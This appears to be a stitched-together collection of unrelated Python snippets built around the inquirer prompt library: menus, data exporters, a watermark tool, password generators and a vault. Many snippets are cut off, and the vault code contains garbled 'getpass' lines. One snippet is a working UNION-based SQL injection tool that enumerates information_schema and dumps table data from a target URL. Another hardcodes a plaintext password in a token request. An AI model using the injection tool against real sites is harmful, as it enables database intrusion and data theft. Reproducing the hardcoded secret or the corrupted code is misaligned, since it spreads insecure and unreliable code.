def prompt_targets(question, targets=None, instances=None, multiple=True, config=None, type=InstanceType.ALL, filter_sources=tuple()): if targets == None and instances == None or targets != None and instances != None: raise RuntimeError( "Provide exactly one of either 'targets' or 'instances'") if targets: instances = inventory.search(config, targets, filter_sources=filter_sources, type=type) if len(instances) == 0: return [] if len(instances) == 1: return instances display_instances = collections.OrderedDict() # TODO: fix cap'd length... it's pretty arbitraty if instances[0].instname: maxLen = min(max([len(instance.instname) for instance in instances]), 55) for instance in sorted(instances): display = str("%-" + str(maxLen + 3) + "s (%s)") % (instance.instname, instance.address) display_instances[display] = instance else: maxLen = min(max([len(instance.name) for instance in instances]), 55) for instance in sorted(instances): display = str("%-" + str(maxLen + 3) + "s (%s)") % (instance.name, instance.address) display_instances[display] = instance questions = [] if multiple: question = inquirer.Checkbox( 'instance', message="%s%s%s (space to multi-select, enter to finish)" % (utils.term.bold + utils.term.underline, question, utils.term.normal), choices=list(display_instances.keys()) + ['all'], # default='all' ) else: question = inquirer.List( 'instance', message="%s%s%s (enter to select)" % (utils.term.bold, question, utils.term.normal), choices=list(display_instances.keys()), ) questions.append(question) answers = None try: answers = inquirer.prompt(questions, theme=THEMER, raise_keyboard_interrupt=True) except KeyboardInterrupt: logger.error("Cancelled by user") sys.exit(1) if 'all' in answers["instance"]: selected_hosts = instances else: selected_hosts = [] if not multiple: answers["instance"] = [answers["instance"]] for answer in answers["instance"]: selected_hosts.append(display_instances[answer]) return selected_hosts
print( """\n[Note] If you don't see the latest report in the options below, please download the Excel file from: https://www.ecdc.europa.eu/en/publications-data/download-todays-data-geographic-distribution-covid-19-cases-worldwide Then move it to the folder %s\n""" % os.path.abspath(RELEASES_PATH)) filenames = glob(os.path.join(RELEASES_PATH, '*.xlsx')) filenames.extend(glob(os.path.join(RELEASES_PATH, '*.xls'))) filenames.extend(glob(os.path.join(RELEASES_PATH, '*.csv'))) filenames = list( filter(lambda name: not name.startswith("~"), map(os.path.basename, sorted(filenames, reverse=True)))) answers = inquirer.prompt([ inquirer.List('filename', message='Which release to use?', choices=filenames, default=0) ]) filename = answers['filename'] if check_data_correctness(filename): print("Data correctness check %s.\n" % colored("passed", 'green')) else: print("Data correctness check %s.\n" % colored("failed", 'red')) sys.exit(1) if export(filename): print("Successfully exported CSVs to %s\n" % colored(os.path.abspath(OUTPUT_PATH), 'magenta')) else:
import inquirer from search import * while True: options = [ inquirer.List( 'opt', message="What would you like to do?", choices=[ '1: Look up year range', '2: Look up month/year', '3: Search for author', '4: Search for title', 'Q: Quit' ], ), ] choises = inquirer.prompt(options) if choises['opt'][0] == '1': begin = input("Enter beginning year: ") end = input("Enter ending year: ") print(f"\nAll Titles between {begin} and {end} : ") search_by_range(int(begin), int(end) + 1) print("\n") elif choises['opt'][0] == '2': month = input("Enter month (as a number, 1-12): ") year = input("Enter year: ") print(f"\nAll Titles in month {month} of {year} : ") search_by_month(month, year) print("\n")
import os import sys from pprint import pprint sys.path.append(os.path.realpath(".")) import inquirer # noqa LangQuestion = [ inquirer.List( "lang", message="Select Language", choices=["English", "Français", "Deutsche", "Español"], ), ] answers = inquirer.prompt(LangQuestion) pprint(answers)
question = inquirer.prompt( [inquirer.Text(name="option", message="Enter an option")]) options_list.append(question["option"]) os.system("clear") return options_list options = [] os.system("clear") print( f"Welcome Human. I am {colored('The Decider', 'red')}. \nEnter your options and I will decide." ) option = add_option(options) print(f"Current options: {options}") question = inquirer.prompt( [inquirer.List(name="choice", choices=["ADD OPTION", "CHOOSE"])]) while question["choice"] != "CHOOSE": os.system("clear") print(f"Current options: {options}") option = add_option(options) print(f"Current options: {options}") question = inquirer.prompt( [inquirer.List(name="choice", choices=["ADD OPTION", "CHOOSE"])]) os.system("clear") print(f"It has been chosen: {colored(random.choice(options), 'red')}")
def main(): FIELDS = template_fields() RESERVED_FIELDS = template_reserved_fields() t = Figlet(font="big").renderText("nina .md\n") print(f"{Fore.LIGHTWHITE_EX}{t}") config_file = automail_config_file_question() suggestions = {} # load the answer suggestions: by nina-config.json or git if config_file: for i in config_file: FIELDS[i] = config_file[i] suggestions = suggestions_by(_dict=config_file) else: parser = git_repo_question() if parser: suggestions = suggestions_by(_dict=None, parser=parser) # ask the questions questions = inquirer_questions(FIELDS, suggestions, RESERVED_FIELDS) FIELDS = inquirer.prompt(questions) # clean color in answers FIELDS = {k: v.replace(Fore.LIGHTBLACK_EX, "") for k, v in FIELDS.items()} if FIELDS["test_command"]: answer = bool_question( "You want to add coverage information? (for Pytest tests only)") if answer: # run tests with coverage env_dir = get_env_dir() if not os.path.isfile(".coveragerc"): with open(".coveragerc", "a+") as _f: covignore = f"[run]\nomit = {env_dir}/*" _f.write(covignore) command_line = FIELDS["test_command"].split(" ") + ["--cov"] else: command_line = FIELDS["test_command"].split(" ") # run the test command try: devnull = open("nina.log", "w+") command = cmd.run(command_line, stdout=cmd.DEVNULL, stderr=devnull) cov_output = command.stdout.decode() tests_passing = not bool(command.returncode) except BaseException: print(Fore.RED + "An error occurred when running test command, " "see nina.log") cov_output = "" tests_passing = False FIELDS["cov_output"] = cov_output FIELDS["tests_passing"] = tests_passing # generating files # license with open("LICENSE-autogen.md", "w+") as _f: try: _license = get_license(FIELDS) _f.write(_license) message = f"{Style.BRIGHT}{Fore.BLACK}LICENSE-autogen.md"\ "generated! Please revise them! :D" except BaseException: message = "An error occurred when generating LICENSE.md" print(message) # readme with open("README-autogen.md", "w+") as _f: _f.write(build_readme(FIELDS, _license)) print("README-autogen.md generated! Please revise them! :D") question = "Do you want to generate setup.py based on your answers?" gen_setup = bool_question(question) # setup if gen_setup: with open("setup-autogen.py", "w+") as _f: _f.write(build_setup(FIELDS)) message = f"{Style.BRIGHT}{Fore.BLACK}setup-autogen.py generated!"\ " Please revise them! :D" print(message) with open("nina-config.json", "w+") as _f: _f.write(json.dumps(FIELDS)) message = f"{Style.BRIGHT}{Fore.BLACK}nina-config.json generated!"\ " Your previous answers are been preserved." print(message)
) print(f' Got a {res.status_code} response with data...') if res.status_code not in [201, 200]: print(' '+res.text) if res.status_code in range(500, 599): sys.exit(f" Got a {res.status_code} response: quitting.") def prompt_multiple_choices(choices): question = Checkbox('resources', message="What to send to the database?", choices=choices) selected = prompt([question])['resources'] return sorted(selected, key=choices.index) if __name__ == "__main__": # capture cwd to restore at the end & cd to correct dir cwd = os.getcwd() os.chdir(os.path.dirname(__file__)) # Get token. note: these credentials are local-only. token = get_token('ewen-le-bihan', '^bXq2##7*ev8*4i%3$LGKzvd$HdN$') # Destroy db or keep it ? reset = prompt([Confirm('reset', message='Replace current data', default=False)])['reset'] # Restore each .json file for file in prompt_multiple_choices(FILES): if file.endswith('.json'): name = file.replace('.json', '') data = load_data(file) if reset: delete_all(name, token) for item in data: make_request(item, token) # Restore the cwd os.chdir(cwd)
def main(args): img = cv2.imread(args.origin) wm = cv2.imread(args.watermark, cv2.IMREAD_GRAYSCALE) questions = [ inquirer.List("type", message="Choice type", choices=["DCT", "DWT", "Attack"]), ] answers = inquirer.prompt(questions) if answers['type'] in ["DCT", "DWT"]: if answers['type'] == 'DCT': model = DCT_Watermark() elif answers['type'] == 'DWT': model = DWT_Watermark() questions = [ inquirer.List("option", message="Choice option", choices=["embedding", "extracting"]), ] answers = inquirer.prompt(questions) if answers["option"] == "embedding": emb_img = model.embed(img, wm) cv2.imwrite(args.output, emb_img) print("Embedded to {}".format(args.output)) elif answers["option"] == 'extracting': signature = model.extract(img) cv2.imwrite(args.output, signature) print("Extracted to {}".format(args.output)) elif answers["type"] == "Attack": questions = [ inquirer.List("action", message="Choice action", choices=[ "blur", "rotate180", "rotate90", "chop5", "chop10", "chop30", "gray", "saltnoise", "randline", "cover", "brighter10", "darker10", "largersize", "smallersize" ]), ] answers = inquirer.prompt(questions) ACTION_MAP = { "blur": Attack.blur, "rotate180": Attack.rotate180, "rotate90": Attack.rotate90, "chop5": Attack.chop5, "chop10": Attack.chop10, "chop30": Attack.chop30, "gray": Attack.gray, "saltnoise": Attack.saltnoise, "randline": Attack.randline, "cover": Attack.cover, "brighter10": Attack.brighter10, "darker10": Attack.darker10, "largersize": Attack.largersize, "smallersize": Attack.smallersize, } att_img = ACTION_MAP[answers["action"]](img) cv2.imwrite(args.output, att_img) print("Save as {}".format(args.output))
def askUsePostInstallTaskFile(self): questions = [ self.getUsePostInstallationTasks(), ] return inquirer.prompt(questions)['post-tasks']
def prompt_multiple_choices(choices): question = Checkbox('resources', message="What to send to the database?", choices=choices) selected = prompt([question])['resources'] return sorted(selected, key=choices.index)
def main(argv): if len(sys.argv) == 6: params = sys.argv[1].split(",") get_post = sys.argv[2] prefix = sys.argv[3] suffix = sys.argv[4] url = sys.argv[5] else: print("[*] Usage: " + sys.argv[0] + " <param1,param2,..> <get_or_post> <prefix> <suffix> <url>") print("[*] Example: " + sys.argv[0] + " id get \"1\" \";-- \" http://192.168.252.6/cat.php\n") exit(0) # Random headers headers = http_headers() # Do stuff try: # Select parameter param_question = [ inquirer.List('params', message="Select a parameter to test for injection:", choices=params), ] param_answer = inquirer.prompt(param_question) inj_param = param_answer["params"] # Ask for method of getting number of columns options = ["Guess via ORDER/GROUP", "Enter manually"] meth_guess_cols_question = [ inquirer.List( 'options', message= "Choose a method for getting number of columns via UNION.", choices=options), ] meth_guess_cols_answer = inquirer.prompt(meth_guess_cols_question) cols_method = meth_guess_cols_answer["options"] if cols_method == "Guess via ORDER/GROUP": # Getting number of columns by guessing num_cols = get_cols(url, headers, get_post, inj_param, params, prefix, suffix) if num_cols: print("[*] Number of columns for parameter " + inj_param.upper() + " found: " + str(num_cols)) else: print("[!] No columns found, check your requests") exit(-1) elif cols_method == "Enter manually": # Enter number of columns manually num_cols = int(input("Enter number of columns: ")) # Test if a certain column is usable usable_column = blind_test(url, headers, get_post, inj_param, params, num_cols, prefix, suffix) if usable_column: print("\n[*] Column " + str(usable_column) + " seems to print results\n") else: print("[!] No usable column found, exiting...") exit(-1) # Ask for getting via information_schema or manual input options = ["Information Schema", "Enter manually"] info_schema_manual_question = [ inquirer.List( 'options', message= "Choose a method for retrieving or manually entering databases, tables and columns.", choices=options), ] info_schema_manual_answer = inquirer.prompt( info_schema_manual_question) info_method = info_schema_manual_answer["options"] if info_method == "Information Schema": # Get databases union_suffix = " from information_schema.schemata" union_obj_name = "schema_name" dbs = get_info_schema(url, headers, get_post, inj_param, params, num_cols, usable_column - 1, union_obj_name, union_suffix, prefix, suffix) if dbs: db_question = [ inquirer.List('databases', message="Select a database:", choices=dbs), ] db_answer = inquirer.prompt(db_question) else: print( "[!] Unable to find any database, probably no access to information_schema." ) exit(-1) # Get tables union_suffix = " from information_schema.tables where table_schema='" + db_answer[ "databases"] + "'" union_obj_name = "table_name" tables = get_info_schema(url, headers, get_post, inj_param, params, num_cols, usable_column - 1, union_obj_name, union_suffix, prefix, suffix) if tables: table_question = [ inquirer.List('tables', message="Select a table:", choices=tables), ] table_answer = inquirer.prompt(table_question) else: print("[!] Unable to find any tables, exiting...") exit(-1) # Get columns union_suffix = " from information_schema.columns where table_name='" + table_answer[ "tables"] + "'" union_obj_name = "column_name" columns = get_info_schema(url, headers, get_post, inj_param, params, num_cols, usable_column - 1, union_obj_name, union_suffix, prefix, suffix) if columns: column_question = [ inquirer.List('columns', message="Select a column:", choices=columns), ] column_answer = inquirer.prompt(column_question) else: print("[!] Unable to find any colomns, exiting...") exit(-1) # Set answers in variables to retrieve data dbs = db_answer["databases"] tables = table_answer["tables"] cols = column_answer["columns"] elif info_method == "Enter manually": # Data entered manually dbs = input("Enter a database: ") tables = input("Enter a table: ") cols = input("Enter a column: ") print("\n") # Get data union_suffix = " from " + tables data = get_data(url, headers, get_post, inj_param, params, num_cols, usable_column - 1, cols, union_suffix, prefix, suffix) if data: row = 0 for res in data: row += 1 print("[" + str(row) + "] " + res) else: print("[!] Unable to find any data, exiting...") exit(-1) # Done print("\n[+] Done!\n") except requests.exceptions.Timeout: print("[!] Timeout error\n") exit(-1) except requests.exceptions.TooManyRedirects: print("[!] Too many redirects\n") exit(-1) except requests.exceptions.ConnectionError: print("[!] Not able to connect to URL\n") exit(-1) except requests.exceptions.RequestException as e: print("[!] " + str(e)) exit(-1) except requests.exceptions.HTTPError as e: print("[!] Failed with error code - " + e.code + "\n") exit(-1) except KeyboardInterrupt: keyboard_interrupt()
print('Finished loading training data') # Creates a lstm network MODEL = network_utils.create_lstm_network(FREQ_SPACE_DIMS=FREQ_SPACE_DIMS, NUM_HIDDEN_DIMENSIONS=HIDDEN_DIMS, NUM_RECURRENT_UNITS=NUM_RECURR) MODEL_WEIGTHS = [ inquirer.List('size', message="Please choose saved weights file for generating the song", choices=glob.glob('weights/LSTM*.h5') ), ] CHOOSE_MODEL = inquirer.prompt(MODEL_WEIGTHS) MODEL_FILENAME = CHOOSE_MODEL["size"] # Load existing weights if available if os.path.isfile(MODEL_FILENAME): MODEL.load_weights(MODEL_FILENAME) # Larger batch sizes require more memory, but training will be faster print('Starting training!') WEIGHTS_PATH = 'weights/LSTM_NP_Weights_Iter-' + str(NUM_ITERS) WEIGHTS_NAME = 'LSTM_NP_Weights_Iter-' + str(NUM_ITERS) LOSS = [] while CUR_ITER < NUM_ITERS: print('Iteration: ' + str(CUR_ITER))
def askUsePreparationTaskFile(self): questions = [ self.getUsePreparationTasks(), ] return inquirer.prompt(questions)['pre-tasks']
'choices', message="Options?", choices=['week', 'good', 'strong', 'exit'], ), ] length = [ inquirer.List( 'length', message="Your password length: ", choices=["8", "12", "14", "18"], ) ] while True: answers = inquirer.prompt(questions, theme=GreenPassion()) if answers['choices'] == "week": weekLetters = string.ascii_letters passLength = inquirer.prompt(length) generatedPass = ''.join( random.choice(weekLetters) for i in range(int(passLength['length']))) print(generatedPass) elif answers['choices'] == "good": goodLetters = ''.join(string.ascii_letters) + ''.join(string.digits) passLength = inquirer.prompt(length) generatedPass = ''.join( random.choice(goodLetters) for i in range(int(passLength['length'])))
def prompt_list(items, key, hint): base_path = [inquirer.List(key, message=hint, choices=items)] r = inquirer.prompt(base_path) return r[key]
str_entry = '\n' + nametext + '\t\t' + pss f.write(str_entry) f.close() print('\n \n ~~~Successfully saved your password in the Vault~~~\n\n') an = inquirer.prompt( [inquirer.Confirm('ans', message="Want to Enter new Record ?")]) if an['ans'] == 'y' or an['ans'] == 'Y': enter_new() else: return # res=input('signup or login :-') answer = inquirer.prompt([ inquirer.List('ans', message="Do you want to ", choices=['Login', 'Signup']) ]) #Asking through Inquirer res = answer['ans'] if res == 'Signup': passwd = getpass.getpass('Enter Password: '******'utf-8') hashin_method(passwd) elif res == 'Login': decrypt_file() hash_n = hashlib.sha3_512( getpass.getpass('Enter Password: '******'utf-8')) #pass password from tkinter here f = open('hakuna.txt', 'r') if f.readline().strip() == hash_n.hexdigest(): f.close()